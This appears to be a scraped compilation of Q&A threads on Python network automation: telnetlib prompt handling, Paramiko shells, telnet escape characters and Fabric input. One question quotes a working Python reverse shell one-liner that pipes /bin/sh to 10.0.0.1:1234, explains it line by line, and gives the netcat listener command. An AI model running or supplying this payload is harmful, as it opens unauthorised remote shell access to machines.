I'm working on a code that uses telnetlib of python to connect to a router and execute commands and stores the output in a file.
I'm using read_until('#') function and expecting a Router prompt, then execute the next command but my code freezes when I receive a '--More--' data from the remote telnet side. I tried using a pattern match to find '--More--' but then sometime the --More-- keyword doesn't come at once.
Any suggestion ?
Do I have to send some IAC command to the remote telnet side ?
sometime the --More-- keyword doesn't come at once
Try passing in a timeout.
Example: set timeout to 5 seconds for read_until():
read_until('--More--', 5)
Alternatively, you could use the expect() function to look for either '#' or '--More--' with a timeout:
expect(['#', '--More--'], 5)
Related
Consider:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
So this is a Python reverse shell one-liner and can be found easily just by googling it. To better understanding this, let's write it in multi-line:
1# import socket,subprocess,os
2# s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
3# s.connect(("10.0.0.1",1234))
4# os.dup2(s.fileno(),0)
5# os.dup2(s.fileno(),1)
6# os.dup2(s.fileno(),2)
7# p=subprocess.call(["/bin/sh","-i"])
Most parts of this is pretty easy to understand. In the first line, we import necessary modules. In the second line we make a socket object using the IPv4 family and TCP protocol. Line Three is where we connect to our server (attacker machine) and in line 4, 5, and 6, we duplicate the socket file descriptor as 0 (standard input), 1 (standard output), and 2 (standard error) (I can be wrong here). In the end, we start the bin/sh shell in interactive mode.
This is working fine. All we need is just to change the IP address and port to connect, and in the other end (server) we need to listen for an incoming connection and it can be done easily using netcat:
nc -nlvp 1234
I just don't understand after establishing the reverse shell, how this client machine (the machine that we run the Python reverse shell one-liner on it) can send the output of commands that it received from the server. I mean, there aren’t any send() or recv() method.
I tried to write a server myself using Python, but it does not work properly and I can't receive the output of my commands.
(But here's a Python reverse shell that I have been coded, and it works fine: https://github.com/ramixix/Python_Reverse_Shell.git. I’d be happy if you check it out.)
How does it work and how can I write a server for it?
This question already has an answer here:
Executing command using Paramiko exec_command on device is not working
(1 answer)
Closed 2 years ago.
I'm working on a GPS position retrieval project, I have to connect in SSH on routers, then launch commands to retrieve latitude and longitude.
I recently received new routers, when we connect to this router, we receive an "OK" signal when we are connected to ensure proper operation, then we run the command we want, and we get the data as in this example below, always followed by the "OK" message indicating that the command worked well :
AT*GNSSSTATUS?
Location Fix=1
Number of satellites = 14
Latitude=+49.17081
Longitude=-123.06970
Date=2016/02/29
Time= 18:55:28
TTFF=9449 milliSeconds
OK
When I connect in SSH with the help of PUTTY, it works, but when I use my code that sends the same command as mentioned above (AT*GNSSSTATUS?) through my Python script and the Paramiko library, the result is just "OK" which indicates that the connection is just active. It's like the command line opened by the script doesn't take the "ENTER" that should come next.
To test this, I tried to put a command returning "ERROR" in case I use PUTTY, but even in this case the Python script returns "OK".
To try to fix this I tried different options by adding :
stdin, stdout, stderr = client.exec_command('AT*GNSSSTATUS? \r\n')
or
stdin, stdout, stderr = client.exec_command('AT*GNSSSTATUS? <CR>')
But in no case does this change the result.
My data list contains only one string marked "OK".
For the connection part on the router everything works.
Anyone have any ideas?
Thanks a lot!
Sorry if there are spelling mistakes ahah.
Thanks Martin Prikryl !
So I looked at the link you sent me and it worked:
Executing command using Paramiko exec_channel on device is not working.
So I changed my code to use a shell and send my commands through it.
Here is my code
shell = client.invoke_shell()
shell.send('AT*GNSSSTATUS? \r')
Thank you very much and have a nice day
I am trying to send control + ] command in python using telnetlib library.
Currently I am doing:
tn.write('^]')
and also
tn.write('\x1D')
which i got from http://donsnotes.com/tech/charsets/ascii.html
To type control-A I use tn.write('\x01') and it works so I am confused why tn.write('\x1D') is not working for control-].
Thanks for any help
ctrl-] cannot be sent on the wire. You have to use a, let's say, synonym for it like close()
For further reading, see the pinpoint answer here: https://mail.python.org/pipermail/python-list/2012-December/636929.html
The ^] command is not actually sent to the server. It is a command to the telnet client. When you run the telnet program (not related to python at all) you see:
~$ telnet localhost 2050
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
That means ^] is a escape character. It is a way to make the local telnet program exit the input mode that sends everything to the server, and enter the input mode that accepts local commands. When you type ^] in this case, the telnet program won't send it to the server, it will just change the input mode.
Since you're connecting using the telnet protocol directly to the server, and not using the telnet program, it doesn't make sense to send ^].
I'm writing a script that uses paramiko to ssh onto several remote hosts and run a few checks. Some hosts are setup as fail-overs for others and I can't determine which is in use until I try to connect. Upon connecting to one of these 'inactive' hosts the host will inform me that you need to connect to another 'active' IP and then close the connection after n seconds. This appears to be written to the stdout of the SSH connection/session (i.e. it is not an SSH banner).
I've used paramiko quite a bit, but I'm at a loss as to how to get this output from the connection, exec_command will obviously give me stdout and stderr, but the host is outputting this immediately upon connection, and it doesn't accept any other incoming requests/messages. It just closes after n seconds.
I don't want to have to wait until the timeout to move onto the next host and I'd also like to verify that that's the reason for not being able to connect and run the checks, otherwise my script works as intended.
Any suggestions as to how I can capture this output, with or without paramiko, is greatly appreciated.
I figured out a way to get the data, it was pretty straight forward to be honest, albeit a little hackish. This might not work in other cases, especially if there is latency, but I could also be misunderstanding what's happening:
When the connection opens, the server spits out two messages, one saying it can't chdir to a particular directory, then a few milliseconds later it spits out another message stating that you need to connect to the other IP. If I send a command immediately after connecting (doesn't matter what command), exec_command will interpret this second message as the response. So for now I have a solution to my problem as I can check this string for a known message and change the flow of execution.
However, if what I describe is accurate, then this may not work in situations where there is too much latency and the 'test' command isn't sent before the server response has been received.
As far as I can tell (and I may be very wrong), there is currently no proper way to get the stdout stream immediately after opening the connection with paramiko. If someone knows a way, please let me know.
I want a client with Fabric and Python raw_input builtin function to implement a Mysql Client like console.
Every ok for single instruction. But for multiline SQLs, fab process a SQL need some times (ssh to remote server and echo the SQL to local mysql client), and then raw_input will lose the reset of multiline SQLs. In the mysql console you could paste multiline SQLs and will been executed perfect every single instruction.
Why not using mysql client directly ? There are a gate of the servers. And we need a simple alias to avoid write the parameters every time. And some post jobs after execute SQLs (post the echo of the execution, etc.)
I guess the fabric run was blocking the sys.stdin and make the input losing. But I'm failing execute run in a independent thread.